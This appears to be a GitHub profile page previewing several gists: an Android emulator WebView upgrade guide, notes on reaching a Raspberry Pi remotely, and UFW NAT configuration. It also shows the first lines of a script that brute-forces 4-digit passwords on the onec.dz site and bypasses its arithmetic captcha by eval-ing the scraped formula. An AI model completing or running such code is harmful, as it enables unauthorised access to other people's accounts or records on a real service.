Skip to content

Instantly share code, notes, and snippets.

View iMrDJAi's full-sized avatar

${Mr.DJA} iMrDJAi

  • Bab Ezzouar, Algiers
  • 01:49 (UTC +01:00)
View GitHub Profile
@ppoffice
ppoffice / README.md
Last active October 28, 2024 13:22
A step by step guide to upgrade webview on an old Android Emulator

Tools

  1. emulator (30.3.5) (via Android SDK)
  2. adb (30.0.5) (via Android SDK)
  3. apktool (2.5.0) and Java runtime
  4. zip (3.0)
  5. unzip (6.0)

Make sure you have JAVA_HOME and ANDROID_HOME environment variables correctly set.

@iMrDJAi
iMrDJAi / onec-dz-bruteforce.js
Last active June 24, 2024 00:14
onec.dz bruteforce scripts.
async function bruteforce(id, pass) {
pass = ('0000' + pass).slice(-4)
const resc = await (async function f() {
try {
const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/resc/`)).text()
const match = res.match(/(\d+(?:\+|\-)\d+)[\s\S]+value=(.+)>/)
if (match) {
return {
formula: match[1],
solution: eval(match[1]),
@jc-torresp
jc-torresp / access-pi-anywhere.md
Created September 21, 2019 05:12
Configuration to access Raspberry Pi from anywhere with UPnP port forwarding

Access Raspberry Pi from anywhere

Dynamic DNS

We need to use so called Dynamic DNS (DDNS) to create and dynamically update a mapping between a chosen domain name and an “external” IP address of our Raspberry Pi (i.e. router IP address).

  • Look for a DDNS provider.
  • Register a new user account.
  • Choose a desire domain name.
  • Configure it on router.
@kimus
kimus / ufw.md
Created March 2, 2014 22:46
NAT and FORWARD with Ubuntu’s ufw firewall

UFW

I use Ubuntu’s Uncomplicated firewall because it is available on Ubuntu and it's very simple.

Install UFW

if ufw is not installed by default be sure to install it first.